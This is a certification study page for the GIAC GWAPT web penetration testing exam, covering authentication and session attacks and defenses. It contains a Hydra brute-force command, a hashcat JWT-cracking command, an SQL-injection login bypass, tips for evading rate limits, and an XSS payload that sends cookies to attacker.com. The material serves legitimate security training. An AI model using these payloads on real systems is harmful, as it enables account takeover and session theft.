FlashGenius Logo FlashGenius
SANS SEC542 • GWAPT Objectives 4 & 5 of 8

GWAPT: Authentication & Session Management Attacks

GIAC Web Application Penetration Tester β€” Username enumeration, brute force, credential stuffing, JWT attacks, session fixation, hijacking, cookie security & SSL/TLS session vulnerabilities.

Questions: 82
Duration: 3 hours
Passing: 71%
Format: CyberLive
Validity: 4 years
Issuer: GIAC / SANS
# Objective This Page
1Web Application Overviewβ€”
2Reconnaissance and Mappingβ€”
3Web Application Configuration Testingβ€”
β˜… 4Web Application Authentication Attacksβœ“
β˜… 5Web Application Session Managementβœ“
6Web Application SQL Injection Attacksβ€”
7Cross-Site Request Forgery, XSS & Client Injection Attacksβ€”
8Web Application Testing Toolsβ€”
82
Exam Questions
3h
Time Limit
71%
Passing Score
2/8
Objectives Covered
"Authentication gets you in; sessions keep you in β€” attackers exploit both."

What This Page Covers

  • Objective 4 β€” Authentication Attacks: Understanding and exploiting authentication mechanisms including form-based, HTTP Basic/Digest, JWT, OAuth, and API key authentication. Techniques: username enumeration, brute force, credential stuffing, password spraying, bypass methods, password reset flaws, MFA bypass, and JWT-specific attacks.
  • Objective 5 β€” Session Management: How sessions work in stateless HTTP and what makes tokens secure. Attacking session entropy, exploiting cookie security attribute weaknesses, session fixation, session hijacking via XSS or network sniffing, SSL stripping, and testing session lifecycle (timeout, logout validity).

Exam Format β€” CyberLive

  • GWAPT uses CyberLive format β€” includes live virtual machine labs alongside multiple-choice questions
  • You interact with real web applications to demonstrate hands-on penetration testing skills
  • Proctored via ProctorU or Pearson VUE β€” schedule in advance
  • Certification valid for 4 years; renewal via 36 CPE credits or retake
  • Training: SANS SEC542 "Web App Penetration Testing and Ethical Hacking"

Key Tools for Objectives 4 & 5

  • Burp Suite: Proxy (intercept/modify), Intruder (brute force/enumeration), Repeater (session testing), Sequencer (token entropy analysis), Comparer (response differences)
  • Hydra: Online brute force tool β€” supports HTTP form-based, HTTP Basic, and many other protocols
  • jwt_tool: Python tool for all JWT attacks β€” alg:none, RS256β†’HS256 confusion, key brute force
  • jwt.io: Browser-based JWT decoder and inspector
  • sslstrip: SSL stripping MitM tool β€” downgrades HTTPS to HTTP to capture session cookies
  • rockyou.txt / SecLists: Password wordlists for brute force and credential stuffing
Objective 4 β€” Authentication Attacks

Authentication Mechanisms

  • Form-based: HTML login form POSTs credentials to server β€” most common; credentials in request body
  • HTTP Basic Auth: Credentials base64-encoded in Authorization header β€” NOT encryption; trivially decoded. Header: Authorization: Basic dXNlcjpwYXNz
  • HTTP Digest Auth: MD5 hash of credentials with server nonce β€” more secure than Basic but rarely deployed in modern apps
  • Token-based (JWT): Server issues signed JSON Web Token on login; client sends in Authorization: Bearer <token> header β€” stateless
  • OAuth 2.0: Delegated authorization β€” "Login with Google/GitHub"; grants access tokens; does not authenticate users directly
  • API Keys: Static string in header or query param β€” often long-lived, rarely rotated, high-value targets
  • Certificate-based (mTLS): Mutual TLS β€” client presents certificate to server; high-security APIs and microservices

Username Enumeration

  • Response content difference: "Invalid username" vs "Invalid password" β€” explicitly reveals valid usernames; most obvious form
  • Response size difference: Use Burp Comparer β€” spot subtle byte-count differences in otherwise identical-looking responses
  • Response time difference: Valid username triggers DB lookup (slower); invalid fails fast β€” timing side-channel; measure with millisecond precision
  • HTTP status code difference: 200 vs 401 β€” different codes for valid vs invalid usernames
  • Reset flow enumeration: "If this email exists, you'll receive a reset link" (safe) vs "Email sent to user@example.com" (leaks existence)
  • Registration flow: "Username already taken" error confirms existing accounts
  • Tool: Burp Intruder β€” Sniper mode with username wordlist; sort results by response length or time

Brute Force and Password Attacks

  • Online brute force: Automated guessing against live login form
    • Hydra: hydra -l admin -P rockyou.txt http-post-form "//login:user=^USER^&pass=^PASS^:Invalid"
    • Burp Intruder: Cluster bomb (username + password lists) or Sniper (password only)
  • Bypass rate limiting: Rotate IPs via proxy list, add delays between requests, rotate User-Agent strings, distribute guesses across multiple accounts
  • Credential stuffing: Leaked username:password pairs from breaches (HaveIBeenPwned); high success rate β€” users reuse passwords across sites
  • Password spraying: One common password (Password1!) tried across many accounts β€” avoids per-account lockout thresholds
  • Default credentials: admin/admin, admin/password, root/toor β€” always test before anything else; check vendor documentation
  • Common wordlists: rockyou.txt (14M passwords), SecLists Passwords collection, CeWL (site-specific custom wordlist)

Bypassing Authentication

  • SQL injection in login: admin'-- in username bypasses password check entirely β€” comments out the password condition
  • Forced browsing: Access authenticated pages directly by guessing URLs β€” server has no auth check despite client-side restriction
  • Parameter manipulation: Change role=user to role=admin, or id=123 to id=456 β€” broken object-level access control
  • Response manipulation: Server returns {"authenticated": false} β€” intercept in Burp Proxy, change to true before forwarding
  • Token forgery: Guess or predict session token value based on pattern analysis

Password Reset Flaws

  • Predictable reset tokens: Sequential integers, timestamp-based, or short tokens β€” brute-forceable in Burp Intruder
  • Token not invalidated: Reset link usable multiple times β€” tokens must be single-use and expire quickly (15-30 minutes)
  • Host header injection: Attacker changes Host: header in reset request β†’ reset email contains attacker's domain URL β†’ capture the token
    • Send: Host: attacker.com β†’ email contains http://attacker.com/reset?token=abc
    • Victim clicks β†’ attacker intercepts token β†’ completes password reset as victim
  • Email enumeration: Reset response directly confirms whether email is registered β€” leaks valid account list
  • Race condition: Submit two reset requests simultaneously β€” both tokens valid simultaneously, or race corrupts intended invalidation
  • Token in URL: Token logged by proxy, browser history, and Referer header β€” use POST body or short-lived links

Multi-Factor Authentication (MFA) Bypass

  • OTP brute force: 6-digit OTP = 1,000,000 combinations β€” if no rate limiting or lockout, brute-forceable with Burp Intruder
  • OTP reuse: If OTP isn't invalidated after successful use β€” replay the same code in a second request
  • MFA fatigue / push bombing: Spam Authenticator push notifications repeatedly until user accidentally approves
  • SIM swapping: Social engineer carrier to port victim's phone number β€” intercept SMS OTPs; bypasses TOTP apps too
  • Backup code theft: Backup codes stored insecurely in plaintext DB or user stores them in email/notes
  • Step bypass: After submitting username/password, skip MFA step by directly navigating to the post-auth URL β€” server doesn't enforce MFA completion server-side

JWT (JSON Web Token) Attacks

  • JWT structure: header.payload.signature β€” three Base64url-encoded segments separated by dots
    • Header: {"alg": "HS256", "typ": "JWT"}
    • Payload: {"sub": "user123", "role": "user", "exp": 1234567890}
    • Signature: HMAC-SHA256(base64url(header) + "." + base64url(payload), secret)
  • Algorithm confusion β€” none attack: Change "alg": "HS256" to "alg": "none", remove signature entirely β€” server accepts if not validating algorithm
  • Algorithm confusion β€” RS256β†’HS256: If server uses RS256 (asymmetric), attacker switches to HS256 and signs with the public key β€” server verifies with same public key using HMAC, succeeds
  • Weak secret brute force: hashcat -a 0 -m 16500 token.jwt rockyou.txt β€” crack weak HMAC signing secret
  • Claim tampering: Decode payload, modify "role": "user" β†’ "role": "admin", re-encode β€” exploitable when signature is not verified server-side
  • Tools: jwt.io (decode/inspect), jwt_tool (Python β€” all JWT attacks), hashcat (secret brute force)
Objective 5 β€” Session Management

Session Management Fundamentals

  • Sessions maintain state for HTTP's stateless protocol β€” server must track who is authenticated between requests
  • Server creates session after authentication: generates ID, stores mapping (session ID β†’ user data) server-side
  • Session token delivered to client via Set-Cookie header in the authentication response
  • Each subsequent request includes the session cookie β€” server looks up associated user data and authorization
  • Session ID is just a reference β€” all sensitive data stays server-side (unlike JWTs which embed claims)

Session Token Properties & Analysis

  • Randomness: Must be cryptographically random (CSPRNG) β€” not sequential, not time-based, not derived from username
  • Length: Minimum 128 bits (32 hex chars) recommended β€” longer = exponentially harder to guess
  • Entropy analysis: Burp Sequencer β€” collect 100+ tokens, analyze statistical randomness patterns and bit-level entropy
  • Unpredictability: No pattern across token set β€” must resist prediction given a sample of known tokens
  • Weak patterns to test for: Sequential integers (session=1001), Unix timestamp-based, Base64 of username, MD5 of username+timestamp

Cookie Security Attributes

  • HttpOnly: Prevents JavaScript (document.cookie) from reading the cookie β€” mitigates XSS-based session theft; cookie still sent in HTTP requests normally
  • Secure: Cookie transmitted ONLY over HTTPS β€” prevents cleartext exposure on unencrypted connections
  • SameSite:
    • Strict: Cookie never sent in any cross-site requests β€” strongest CSRF protection; may break OAuth flows
    • Lax: Cookie sent with top-level navigation GETs only β€” moderate CSRF protection; default in modern browsers
    • None: Cookie sent in all cross-site requests β€” requires Secure flag; legacy behavior for third-party contexts
  • Domain: Restricts which domains receive the cookie β€” .example.com (leading dot) includes all subdomains β€” dangerous if any subdomain is compromised
  • Path: Restricts which URL paths receive the cookie β€” rarely an effective security control; easily bypassed
  • Expires/Max-Age: Session cookies (no expiry) expire when browser closes; persistent cookies survive restarts β€” prefer session cookies for auth tokens

Session Fixation

  • Attack flow:
    • 1. Attacker obtains a valid pre-authentication session ID from the target site
    • 2. Attacker tricks victim into using that specific session ID (via URL param, cookie injection)
    • 3. Victim authenticates β€” server associates victim's credentials with the attacker's known session ID
    • 4. Attacker uses the same session ID β€” now authenticated as victim
  • Delivery mechanisms: URL parameter (?PHPSESSID=attacker_value), cookie injection via XSS or subdomain control, meta refresh
  • Prevention: Regenerate session ID on authentication β€” PHP: session_regenerate_id(true); destroy old session
  • Testing: Capture session ID before login β†’ log in β†’ check if session ID changed after authentication β€” same ID = vulnerable

Session Hijacking

  • XSS-based cookie theft: <script>document.location='http://attacker.com/steal?c='+document.cookie</script> β€” only works if HttpOnly NOT set on session cookie
  • Network sniffing: Capture session cookie on unencrypted HTTP β€” MitM on same network segment (coffee shop Wi-Fi scenario)
  • SSL stripping: Moxie Marlinspike's sslstrip β€” intercepts HTTPS links and serves HTTP to victim; capture session cookie in cleartext
  • HSTS defeats SSL stripping: Browser refuses any HTTP connection to HSTS-enrolled domains β€” session cookies with Secure flag protected
  • Session prediction: Analyze token patterns from Burp Sequencer β€” predict valid session IDs for other users
  • CSRF: Force authenticated user to make unintended requests using their valid session β€” cross-site request forgery; covered in Objective 7

Session Timeout & Lifecycle Testing

  • Idle timeout: Session expires after period of inactivity β€” typical: 15-30 minutes; test by waiting and replaying old token
  • Absolute timeout: Session expires regardless of activity (e.g., 8 hours) β€” limits window of exposure even for active users
  • Logout testing: Capture session token before logout β†’ perform logout β†’ replay token in Burp Repeater β†’ if still valid, server-side logout is broken (client deleted cookie but server didn't invalidate)
  • Concurrent sessions: Test whether multiple simultaneous logins are allowed β€” policy decision, but failure to detect may enable persistent access after credential compromise
  • After password change: Existing sessions should be invalidated β€” test by changing password then replaying old session token

Six high-density memory hooks for exam day retention

Hook 01
JWT Structure
JWT has three parts: Header (algorithm), Payload (claims), Signature (proof). Each Base64url-encoded and joined with dots. You need all three β€” except when you don't.
"Hat.Pants.Signature β€” dressed for auth. No signature? Still walks in with alg:none."
Hook 02
JWT Algorithm None Attack
Change alg from HS256 to none in the header. Remove the signature (keep the trailing dot or remove entirely). If server doesn't validate algorithm, it accepts the unsigned token.
"None means no proof β€” change the algorithm, drop the signature, server trusts you anyway."
Hook 03
Cookie Security Trio
HttpOnly β€” JS can't read it (blocks XSS theft). Secure β€” HTTPS only (no cleartext). SameSite β€” blocks cross-site requests (CSRF defense). All three needed for full protection.
"HSS: Hard to Steal Securely β€” HttpOnly, Secure, SameSite. All three or it's exposed."
Hook 04
Session Fixation
Attacker FIXES the session ID before login. Victim AUTHENTICATES with that session. Attacker USES the now-authenticated session. Prevention: regenerate the session ID on every successful login.
"FIX, AUTH, USE β€” the three-step fixation attack. Regenerate on login = defense."
Hook 05
Host Header Injection β€” Password Reset
Server builds the reset URL using the Host header from the request. Attacker sends Host: attacker.com. Victim's reset email contains a link pointing to attacker's domain. Attacker captures the reset token.
"Control the Host header, steal the token β€” the reset link goes wherever you tell it."
Hook 06
Burp Sequencer
Sequencer collects many session tokens and performs statistical entropy analysis on the bit-level randomness. Low entropy means predictable tokens β€” an attacker can enumerate valid sessions. Always run Sequencer before concluding session tokens are secure.
"Sequencer measures entropy β€” low entropy = predictable tokens = session game over."

10 vignette-style scenario questions β€” select your answer to reveal the explanation

Question 1 of 10
Questions correct out of 10

Click any card to flip β€” front shows the concept, back shows the detail

Click a category to expand β€” prioritize areas you're least confident in

Official references and tools for GWAPT Objectives 4 & 5

Official
GIAC GWAPT Certification Page
Official exam objectives, registration, and exam format details from GIAC.
Visit →
OWASP Reference
OWASP Testing Guide β€” Authentication
Comprehensive authentication testing methodology β€” username enumeration, brute force, MFA bypass, and more.
Visit →
OWASP Reference
OWASP Testing Guide β€” Session Management
Session token analysis, cookie attribute testing, fixation and hijacking methodology.
Visit →
PortSwigger Labs
PortSwigger JWT Attacks
Hands-on JWT labs covering alg:none, RS256β†’HS256 confusion, weak secrets, and claim tampering.
Visit →
Tool
jwt.io β€” JWT Decoder
Browser-based JWT decoder β€” inspect header, payload, and signature of any JWT token instantly.
Visit →
Intelligence
HaveIBeenPwned
Check email addresses and passwords against known breach databases β€” used in credential stuffing context.
Visit →